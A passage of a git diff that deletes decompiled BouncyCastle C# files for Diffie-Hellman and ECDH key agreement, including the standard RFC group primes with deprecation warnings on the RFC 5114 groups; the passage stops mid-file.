b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/DHBasicAgreement.cs deleted file mode 100644 index 359c0e0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/DHBasicAgreement.cs +++ /dev/null @@ -1,56 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Agreement; - -public class DHBasicAgreement : IBasicAgreement -{ - private DHPrivateKeyParameters key; - - private DHParameters dhParams; - - public virtual void Init(ICipherParameters parameters) - { - if (parameters is ParametersWithRandom) - { - parameters = ((ParametersWithRandom)parameters).Parameters; - } - if (!(parameters is DHPrivateKeyParameters)) - { - throw new ArgumentException("DHEngine expects DHPrivateKeyParameters"); - } - key = (DHPrivateKeyParameters)parameters; - dhParams = key.Parameters; - } - - public virtual int GetFieldSize() - { - return (key.Parameters.P.BitLength + 7) / 8; - } - - public virtual BigInteger CalculateAgreement(ICipherParameters pubKey) - { - if (key == null) - { - throw new InvalidOperationException("Agreement algorithm not initialised"); - } - DHPublicKeyParameters dHPublicKeyParameters = (DHPublicKeyParameters)pubKey; - if (!dHPublicKeyParameters.Parameters.Equals(dhParams)) - { - throw new ArgumentException("Diffie-Hellman public key has wrong parameters."); - } - BigInteger p = dhParams.P; - BigInteger y = dHPublicKeyParameters.Y; - if (y == null || y.CompareTo(BigInteger.One) <= 0 || y.CompareTo(p.Subtract(BigInteger.One)) >= 0) - { - throw new ArgumentException("Diffie-Hellman public key is weak"); - } - BigInteger bigInteger = y.ModPow(key.X, p); - if (bigInteger.Equals(BigInteger.One)) - { - throw new InvalidOperationException("Shared key can't be 1"); - } - return bigInteger; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/DHStandardGroups.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/DHStandardGroups.cs deleted file mode 100644 index f3181b5..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/DHStandardGroups.cs +++ /dev/null @@ -1,133 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Crypto.Agreement; - -public class DHStandardGroups -{ - private static readonly string rfc2409_768_p = "FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A63A3620FFFFFFFFFFFFFFFF"; - - private static readonly string rfc2409_768_g = "02"; - - public static readonly DHParameters rfc2409_768 = FromPG(rfc2409_768_p, rfc2409_768_g); - - private static readonly string rfc2409_1024_p = "FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE65381FFFFFFFFFFFFFFFF"; - - private static readonly string rfc2409_1024_g = "02"; - - public static readonly DHParameters rfc2409_1024 = FromPG(rfc2409_1024_p, rfc2409_1024_g); - - private static readonly string rfc3526_1536_p = "FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA237327FFFFFFFFFFFFFFFF"; - - private static readonly string rfc3526_1536_g = "02"; - - public static readonly DHParameters rfc3526_1536 = FromPG(rfc3526_1536_p, rfc3526_1536_g); - - private static readonly string rfc3526_2048_p = "FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF"; - - private static readonly string rfc3526_2048_g = "02"; - - public static readonly DHParameters rfc3526_2048 = FromPG(rfc3526_2048_p, rfc3526_2048_g); - - private static readonly string rfc3526_3072_p = "FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A93AD2CAFFFFFFFFFFFFFFFF"; - - private static readonly string rfc3526_3072_g = "02"; - - public static readonly DHParameters rfc3526_3072 = FromPG(rfc3526_3072_p, rfc3526_3072_g); - - private static readonly string rfc3526_4096_p = "FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C934063199FFFFFFFFFFFFFFFF"; - - private static readonly string rfc3526_4096_g = "02"; - - public static readonly DHParameters rfc3526_4096 = FromPG(rfc3526_4096_p, rfc3526_4096_g); - - private static readonly string rfc3526_6144_p = "FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB2602646DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D1721D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E6DCC4024FFFFFFFFFFFFFFFF"; - - private static readonly string rfc3526_6144_g = "02"; - - public static readonly DHParameters rfc3526_6144 = FromPG(rfc3526_6144_p, rfc3526_6144_g); - - private static readonly string rfc3526_8192_p = "FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB2602646DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D1721D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E6DBE115974A3926F12FEE5E438777CB6A932DF8CD8BEC4D073B931BA3BC832B68D9DD300741FA7BF8AFC47ED2576F6936BA424663AAB639C5AE4F5683423B4742BF1C978238F16CBE39D652DE3FDB8BEFC848AD922222E04A4037C0713EB57A81A23F0C73473FC646CEA306B4BCBC8862F8385DDFA9D4B7FA2C087E879683303ED5BDD3A062B3CF5B3A278A66D2A13F83F44F82DDF310EE074AB6A364597E899A0255DC164F31CC50846851DF9AB48195DED7EA1B1D510BD7EE74D73FAF36BC31ECFA268359046F4EB879F924009438B481C6CD7889A002ED5EE382BC9190DA6FC026E479558E4475677E9AA9E3050E2765694DFC81F56E880B96E7160C980DD98EDD3DFFFFFFFFFFFFFFFFF"; - - private static readonly string rfc3526_8192_g = "02"; - - public static readonly DHParameters rfc3526_8192 = FromPG(rfc3526_8192_p, rfc3526_8192_g); - - public static readonly DHParameters rfc4306_768 = rfc2409_768; - - public static readonly DHParameters rfc4306_1024 = rfc2409_1024; - - private static readonly string rfc5114_1024_160_p = "B10B8F96A080E01DDE92DE5EAE5D54EC52C99FBCFB06A3C69A6A9DCA52D23B616073E28675A23D189838EF1E2EE652C013ECB4AEA906112324975C3CD49B83BFACCBDD7D90C4BD7098488E9C219A73724EFFD6FAE5644738FAA31A4FF55BCCC0A151AF5F0DC8B4BD45BF37DF365C1A65E68CFDA76D4DA708DF1FB2BC2E4A4371"; - - private static readonly string rfc5114_1024_160_g = "A4D1CBD5C3FD34126765A442EFB99905F8104DD258AC507FD6406CFF14266D31266FEA1E5C41564B777E690F5504F213160217B4B01B886A5E91547F9E2749F4D7FBD7D3B9A92EE1909D0D2263F80A76A6A24C087A091F531DBF0A0169B6A28AD662A4D18E73AFA32D779D5918D08BC8858F4DCEF97C2A24855E6EEB22B3B2E5"; - - private static readonly string rfc5114_1024_160_q = "F518AA8781A8DF278ABA4E7D64B7CB9D49462353"; - - [Obsolete("Existence of a 'hidden SNFS' backdoor cannot be ruled out.")] - public static readonly DHParameters rfc5114_1024_160 = FromPGQ(rfc5114_1024_160_p, rfc5114_1024_160_g, rfc5114_1024_160_q); - - private static readonly string rfc5114_2048_224_p = "AD107E1E9123A9D0D660FAA79559C51FA20D64E5683B9FD1B54B1597B61D0A75E6FA141DF95A56DBAF9A3C407BA1DF15EB3D688A309C180E1DE6B85A1274A0A66D3F8152AD6AC2129037C9EDEFDA4DF8D91E8FEF55B7394B7AD5B7D0B6C12207C9F98D11ED34DBF6C6BA0B2C8BBC27BE6A00E0A0B9C49708B3BF8A317091883681286130BC8985DB1602E714415D9330278273C7DE31EFDC7310F7121FD5A07415987D9ADC0A486DCDF93ACC44328387315D75E198C641A480CD86A1B9E587E8BE60E69CC928B2B9C52172E413042E9B23F10B0E16E79763C9B53DCF4BA80A29E3FB73C16B8E75B97EF363E2FFA31F71CF9DE5384E71B81C0AC4DFFE0C10E64F"; - - private static readonly string rfc5114_2048_224_g = "AC4032EF4F2D9AE39DF30B5C8FFDAC506CDEBE7B89998CAF74866A08CFE4FFE3A6824A4E10B9A6F0DD921F01A70C4AFAAB739D7700C29F52C57DB17C620A8652BE5E9001A8D66AD7C17669101999024AF4D027275AC1348BB8A762D0521BC98AE247150422EA1ED409939D54DA7460CDB5F6C6B250717CBEF180EB34118E98D119529A45D6F834566E3025E316A330EFBB77A86F0C1AB15B051AE3D428C8F8ACB70A8137150B8EEB10E183EDD19963DDD9E263E4770589EF6AA21E7F5F2FF381B539CCE3409D13CD566AFBB48D6C019181E1BCFE94B30269EDFE72FE9B6AA4BD7B5A0F1C71CFFF4C19C418E1F6EC017981BC087F2A7065B384B890D3191F2BFA"; - - private static readonly string rfc5114_2048_224_q = "801C0D34C58D93FE997177101F80535A4738CEBCBF389A99B36371EB"; - - [Obsolete("Existence of a 'hidden SNFS' backdoor cannot be ruled out.")] - public static readonly DHParameters rfc5114_2048_224 = FromPGQ(rfc5114_2048_224_p, rfc5114_2048_224_g, rfc5114_2048_224_q); - - private static readonly string rfc5114_2048_256_p = "87A8E61DB4B6663CFFBBD19C651959998CEEF608660DD0F25D2CEED4435E3B00E00DF8F1D61957D4FAF7DF4561B2AA3016C3D91134096FAA3BF4296D830E9A7C209E0C6497517ABD5A8A9D306BCF67ED91F9E6725B4758C022E0B1EF4275BF7B6C5BFC11D45F9088B941F54EB1E59BB8BC39A0BF12307F5C4FDB70C581B23F76B63ACAE1CAA6B7902D52526735488A0EF13C6D9A51BFA4AB3AD8347796524D8EF6A167B5A41825D967E144E5140564251CCACB83E6B486F6B3CA3F7971506026C0B857F689962856DED4010ABD0BE621C3A3960A54E710C375F26375D7014103A4B54330C198AF126116D2276E11715F693877FAD7EF09CADB094AE91E1A1597"; - - private static readonly string rfc5114_2048_256_g = "3FB32C9B73134D0B2E77506660EDBD484CA7B18F21EF205407F4793A1A0BA12510DBC15077BE463FFF4FED4AAC0BB555BE3A6C1B0C6B47B1BC3773BF7E8C6F62901228F8C28CBB18A55AE31341000A650196F931C77A57F2DDF463E5E9EC144B777DE62AAAB8A8628AC376D282D6ED3864E67982428EBC831D14348F6F2F9193B5045AF2767164E1DFC967C1FB3F2E55A4BD1BFFE83B9C80D052B985D182EA0ADB2A3B7313D3FE14C8484B1E052588B9B7D2BBD2DF016199ECD06E1557CD0915B3353BBB64E0EC377FD028370DF92B52C7891428CDC67EB6184B523D1DB246C32F63078490F00EF8D647D148D47954515E2327CFEF98C582664B4C0F6CC41659"; - - private static readonly string rfc5114_2048_256_q = "8CF83642A709A097B447997640129DA299B1A47D1EB3750BA308B0FE64F5FBD3"; - - [Obsolete("Existence of a 'hidden SNFS' backdoor cannot be ruled out.")] - public static readonly DHParameters rfc5114_2048_256 = FromPGQ(rfc5114_2048_256_p, rfc5114_2048_256_g, rfc5114_2048_256_q); - - public static readonly DHParameters rfc5996_768 = rfc4306_768; - - public static readonly DHParameters rfc5996_1024 = rfc4306_1024; - - private static readonly string rfc7919_ffdhe2048_p = "FFFFFFFFFFFFFFFFADF85458A2BB4A9AAFDC5620273D3CF1D8B9C583CE2D3695A9E13641146433FBCC939DCE249B3EF97D2FE363630C75D8F681B202AEC4617AD3DF1ED5D5FD65612433F51F5F066ED0856365553DED1AF3B557135E7F57C935984F0C70E0E68B77E2A689DAF3EFE8721DF158A136ADE73530ACCA4F483A797ABC0AB182B324FB61D108A94BB2C8E3FBB96ADAB760D7F4681D4F42A3DE394DF4AE56EDE76372BB190B07A7C8EE0A6D709E02FCE1CDF7E2ECC03404CD28342F619172FE9CE98583FF8E4F1232EEF28183C3FE3B1B4C6FAD733BB5FCBC2EC22005C58EF1837D1683B2C6F34A26C1B2EFFA886B423861285C97FFFFFFFFFFFFFFFF"; - - public static readonly DHParameters rfc7919_ffdhe2048 = Rfc7919Parameters(rfc7919_ffdhe2048_p, 225); - - private static readonly string rfc7919_ffdhe3072_p = "FFFFFFFFFFFFFFFFADF85458A2BB4A9AAFDC5620273D3CF1D8B9C583CE2D3695A9E13641146433FBCC939DCE249B3EF97D2FE363630C75D8F681B202AEC4617AD3DF1ED5D5FD65612433F51F5F066ED0856365553DED1AF3B557135E7F57C935984F0C70E0E68B77E2A689DAF3EFE8721DF158A136ADE73530ACCA4F483A797ABC0AB182B324FB61D108A94BB2C8E3FBB96ADAB760D7F4681D4F42A3DE394DF4AE56EDE76372BB190B07A7C8EE0A6D709E02FCE1CDF7E2ECC03404CD28342F619172FE9CE98583FF8E4F1232EEF28183C3FE3B1B4C6FAD733BB5FCBC2EC22005C58EF1837D1683B2C6F34A26C1B2EFFA886B4238611FCFDCDE355B3B6519035BBC34F4DEF99C023861B46FC9D6E6C9077AD91D2691F7F7EE598CB0FAC186D91CAEFE130985139270B4130C93BC437944F4FD4452E2D74DD364F2E21E71F54BFF5CAE82AB9C9DF69EE86D2BC522363A0DABC521979B0DEADA1DBF9A42D5C4484E0ABCD06BFA53DDEF3C1B20EE3FD59D7C25E41D2B66C62E37FFFFFFFFFFFFFFFF"; - - public static readonly DHParameters rfc7919_ffdhe3072 = Rfc7919Parameters(rfc7919_ffdhe3072_p, 275); - - private static readonly string rfc7919_ffdhe4096_p = "FFFFFFFFFFFFFFFFADF85458A2BB4A9AAFDC5620273D3CF1D8B9C583CE2D3695A9E13641146433FBCC939DCE249B3EF97D2FE363630C75D8F681B202AEC4617AD3DF1ED5D5FD65612433F51F5F066ED0856365553DED1AF3B557135E7F57C935984F0C70E0E68B77E2A689DAF3EFE8721DF158A136ADE73530ACCA4F483A797ABC0AB182B324FB61D108A94BB2C8E3FBB96ADAB760D7F4681D4F42A3DE394DF4AE56EDE76372BB190B07A7C8EE0A6D709E02FCE1CDF7E2ECC03404CD28342F619172FE9CE98583FF8E4F1232EEF28183C3FE3B1B4C6FAD733BB5FCBC2EC22005C58EF1837D1683B2C6F34A26C1B2EFFA886B4238611FCFDCDE355B3B6519035BBC34F4DEF99C023861B46FC9D6E6C9077AD91D2691F7F7EE598CB0FAC186D91CAEFE130985139270B4130C93BC437944F4FD4452E2D74DD364F2E21E71F54BFF5CAE82AB9C9DF69EE86D2BC522363A0DABC521979B0DEADA1DBF9A42D5C4484E0ABCD06BFA53DDEF3C1B20EE3FD59D7C25E41D2B669E1EF16E6F52C3164DF4FB7930E9E4E58857B6AC7D5F42D69F6D187763CF1D5503400487F55BA57E31CC7A7135C886EFB4318AED6A1E012D9E6832A907600A918130C46DC778F971AD0038092999A333CB8B7A1A1DB93D7140003C2A4ECEA9F98D0ACC0A8291CDCEC97DCF8EC9B55A7F88A46B4DB5A851F44182E1C68A007E5E655F6AFFFFFFFFFFFFFFFF"; - - public static readonly DHParameters rfc7919_ffdhe4096 = Rfc7919Parameters(rfc7919_ffdhe4096_p, 325); - - private static readonly string rfc7919_ffdhe6144_p = "FFFFFFFFFFFFFFFFADF85458A2BB4A9AAFDC5620273D3CF1D8B9C583CE2D3695A9E13641146433FBCC939DCE249B3EF97D2FE363630C75D8F681B202AEC4617AD3DF1ED5D5FD65612433F51F5F066ED0856365553DED1AF3B557135E7F57C935984F0C70E0E68B77E2A689DAF3EFE8721DF158A136ADE73530ACCA4F483A797ABC0AB182B324FB61D108A94BB2C8E3FBB96ADAB760D7F4681D4F42A3DE394DF4AE56EDE76372BB190B07A7C8EE0A6D709E02FCE1CDF7E2ECC03404CD28342F619172FE9CE98583FF8E4F1232EEF28183C3FE3B1B4C6FAD733BB5FCBC2EC22005C58EF1837D1683B2C6F34A26C1B2EFFA886B4238611FCFDCDE355B3B6519035BBC34F4DEF99C023861B46FC9D6E6C9077AD91D2691F7F7EE598CB0FAC186D91CAEFE130985139270B4130C93BC437944F4FD4452E2D74DD364F2E21E71F54BFF5CAE82AB9C9DF69EE86D2BC522363A0DABC521979B0DEADA1DBF9A42D5C4484E0ABCD06BFA53DDEF3C1B20EE3FD59D7C25E41D2B669E1EF16E6F52C3164DF4FB7930E9E4E58857B6AC7D5F42D69F6D187763CF1D5503400487F55BA57E31CC7A7135C886EFB4318AED6A1E012D9E6832A907600A918130C46DC778F971AD0038092999A333CB8B7A1A1DB93D7140003C2A4ECEA9F98D0ACC0A8291CDCEC97DCF8EC9B55A7F88A46B4DB5A851F44182E1C68A007E5E0DD9020BFD64B645036C7A4E677D2C38532A3A23BA4442CAF53EA63BB454329B7624C8917BDD64B1C0FD4CB38E8C334C701C3ACDAD0657FCCFEC719B1F5C3E4E46041F388147FB4CFDB477A52471F7A9A96910B855322EDB6340D8A00EF092350511E30ABEC1FFF9E3A26E7FB29F8C183023C3587E38DA0077D9B4763E4E4B94B2BBC194C6651E77CAF992EEAAC0232A281BF6B3A739C1226116820AE8DB5847A67CBEF9C9091B462D538CD72B03746AE77F5E62292C311562A846505DC82DB854338AE49F5235C95B91178CCF2DD5CACEF403EC9D1810C6272B045B3B71F9DC6B80D63FDD4A8E9ADB1E6962A69526D43161C1A41D570D7938DAD4A40E329CD0E40E65FFFFFFFFFFFFFFFF"; - - public static readonly DHParameters rfc7919_ffdhe6144 = Rfc7919Parameters(rfc7919_ffdhe6144_p, 375); - - private static readonly string rfc7919_ffdhe8192_p = "FFFFFFFFFFFFFFFFADF85458A2BB4A9AAFDC5620273D3CF1D8B9C583CE2D3695A9E13641146433FBCC939DCE249B3EF97D2FE363630C75D8F681B202AEC4617AD3DF1ED5D5FD65612433F51F5F066ED0856365553DED1AF3B557135E7F57C935984F0C70E0E68B77E2A689DAF3EFE8721DF158A136ADE73530ACCA4F483A797ABC0AB182B324FB61D108A94BB2C8E3FBB96ADAB760D7F4681D4F42A3DE394DF4AE56EDE76372BB190B07A7C8EE0A6D709E02FCE1CDF7E2ECC03404CD28342F619172FE9CE98583FF8E4F1232EEF28183C3FE3B1B4C6FAD733BB5FCBC2EC22005C58EF1837D1683B2C6F34A26C1B2EFFA886B4238611FCFDCDE355B3B6519035BBC34F4DEF99C023861B46FC9D6E6C9077AD91D2691F7F7EE598CB0FAC186D91CAEFE130985139270B4130C93BC437944F4FD4452E2D74DD364F2E21E71F54BFF5CAE82AB9C9DF69EE86D2BC522363A0DABC521979B0DEADA1DBF9A42D5C4484E0ABCD06BFA53DDEF3C1B20EE3FD59D7C25E41D2B669E1EF16E6F52C3164DF4FB7930E9E4E58857B6AC7D5F42D69F6D187763CF1D5503400487F55BA57E31CC7A7135C886EFB4318AED6A1E012D9E6832A907600A918130C46DC778F971AD0038092999A333CB8B7A1A1DB93D7140003C2A4ECEA9F98D0ACC0A8291CDCEC97DCF8EC9B55A7F88A46B4DB5A851F44182E1C68A007E5E0DD9020BFD64B645036C7A4E677D2C38532A3A23BA4442CAF53EA63BB454329B7624C8917BDD64B1C0FD4CB38E8C334C701C3ACDAD0657FCCFEC719B1F5C3E4E46041F388147FB4CFDB477A52471F7A9A96910B855322EDB6340D8A00EF092350511E30ABEC1FFF9E3A26E7FB29F8C183023C3587E38DA0077D9B4763E4E4B94B2BBC194C6651E77CAF992EEAAC0232A281BF6B3A739C1226116820AE8DB5847A67CBEF9C9091B462D538CD72B03746AE77F5E62292C311562A846505DC82DB854338AE49F5235C95B91178CCF2DD5CACEF403EC9D1810C6272B045B3B71F9DC6B80D63FDD4A8E9ADB1E6962A69526D43161C1A41D570D7938DAD4A40E329CCFF46AAA36AD004CF600C8381E425A31D951AE64FDB23FCEC9509D43687FEB69EDD1CC5E0B8CC3BDF64B10EF86B63142A3AB8829555B2F747C932665CB2C0F1CC01BD70229388839D2AF05E454504AC78B7582822846C0BA35C35F5C59160CC046FD8251541FC68C9C86B022BB7099876A460E7451A8A93109703FEE1C217E6C3826E52C51AA691E0E423CFC99E9E31650C1217B624816CDAD9A95F9D5B8019488D9C0A0A1FE3075A577E23183F81D4A3F2FA4571EFC8CE0BA8A4FE8B6855DFE72B0A66EDED2FBABFBE58A30FAFABE1C5D71A87E2F741EF8C1FE86FEA6BBFDE530677F0D97D11D49F7A8443D0822E506A9F4614E011E2A94838FF88CD68C8BB7C5C6424CFFFFFFFFFFFFFFFF"; - - public static readonly DHParameters rfc7919_ffdhe8192 = Rfc7919Parameters(rfc7919_ffdhe8192_p, 400); - - private static BigInteger FromHex(string hex) - { - return new BigInteger(1, Hex.Decode(hex)); - } - - private static DHParameters FromPG(string hexP, string hexG) - { - return new DHParameters(FromHex(hexP), FromHex(hexG)); - } - - private static DHParameters FromPGQ(string hexP, string hexG, string hexQ) - { - return new DHParameters(FromHex(hexP), FromHex(hexG), FromHex(hexQ)); - } - - private static DHParameters Rfc7919Parameters(string hexP, int l) - { - BigInteger bigInteger = FromHex(hexP); - return new DHParameters(bigInteger, BigInteger.Two, bigInteger.ShiftRight(1), l); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/ECDHBasicAgreement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/ECDHBasicAgreement.cs deleted file mode 100644 index 52d22bc..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/ECDHBasicAgreement.cs +++ /dev/null @@ -1,53 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC; - -namespace Org.BouncyCastle.Crypto.Agreement; - -public class ECDHBasicAgreement : IBasicAgreement -{ - protected internal ECPrivateKeyParameters privKey; - - public virtual void Init(ICipherParameters parameters) - { - if (parameters is ParametersWithRandom) - { - parameters = ((ParametersWithRandom)parameters).Parameters; - } - privKey = (ECPrivateKeyParameters)parameters; - } - - public virtual int GetFieldSize() - { - return (privKey.Parameters.Curve.FieldSize + 7) / 8; - } - - public virtual BigInteger CalculateAgreement(ICipherParameters pubKey) - { - ECPublicKeyParameters eCPublicKeyParameters = (ECPublicKeyParameters)pubKey; - ECDomainParameters parameters = privKey.Parameters; - if (!parameters.Equals(eCPublicKeyParameters.Parameters)) - { - throw new InvalidOperationException("ECDH public key has wrong domain parameters"); - } - BigInteger bigInteger = privKey.D; - ECPoint eCPoint = ECAlgorithms.CleanPoint(parameters.Curve, eCPublicKeyParameters.Q); - if (eCPoint.IsInfinity) - { - throw new InvalidOperationException("Infinity is not a valid public key for ECDH"); - } - BigInteger h = parameters.H; - if (!h.Equals(BigInteger.One)) - { - bigInteger = parameters.HInv.Multiply(bigInteger).Mod(parameters.N); - eCPoint = ECAlgorithms.ReferenceMultiply(eCPoint, h); - } - ECPoint eCPoint2 = eCPoint.Multiply(bigInteger).Normalize(); - if (eCPoint2.IsInfinity) - { - throw new InvalidOperationException("Infinity is not a valid agreement value for ECDH"); - } - return 